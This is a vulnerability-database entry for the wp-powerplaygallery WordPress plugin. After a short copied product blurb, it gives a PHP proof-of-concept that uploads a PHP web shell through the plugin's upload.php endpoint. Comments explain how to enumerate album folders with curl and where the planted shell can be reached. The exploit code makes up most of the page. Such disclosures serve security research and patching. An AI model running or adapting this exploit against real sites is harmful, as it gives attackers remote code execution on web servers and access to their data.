The VapidLabs Vulnerability Database

This is the best gallery for touch screens. It is fully touch enabled with great features. This gallery is compatible wiht iphone and ipads. It is also allow us to use it as a widget.You can also enable this Powerplay Gallery on your wordpress site by placing code snippet in your template (.php) files. It shows flash gallery for desktops and touch enabled version for ipad and iphones.

<?php
/*Remote shell upload exploit for wp-powerplaygallery v3.3 */
/*Larry W. Cashdollar @_larry0
6/27/2015
albumid needs to be a numeric value matching an existing album number, 1 is probably a good start
but you can enumerate these by using curl, and looking for redirect 301 responses:
e.g. $ curl http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big
->301 exists else 404 doesn't.
shell is http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big/shell.php
*/


	$target_url = 'http://www.vapidlabs.com/wp-content/plugins/wp-powerplaygallery/upload.php';
	$file_name_with_full_path = '/var/www/shell.php';

        echo "POST to $target_url $file_name_with_full_path";
	$post = array('albumid'=>'foo' , 'name' => 'shell.php','file'=>'@'.$file_name_with_full_path);
 
        $ch = curl_init();
	curl_setopt($ch, CURLOPT_URL,$target_url);
	curl_setopt($ch, CURLOPT_POST,1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	$result=curl_exec ($ch);
	curl_close ($ch);
        echo "<hr>";
	echo $result;
        echo "<hr>";
?>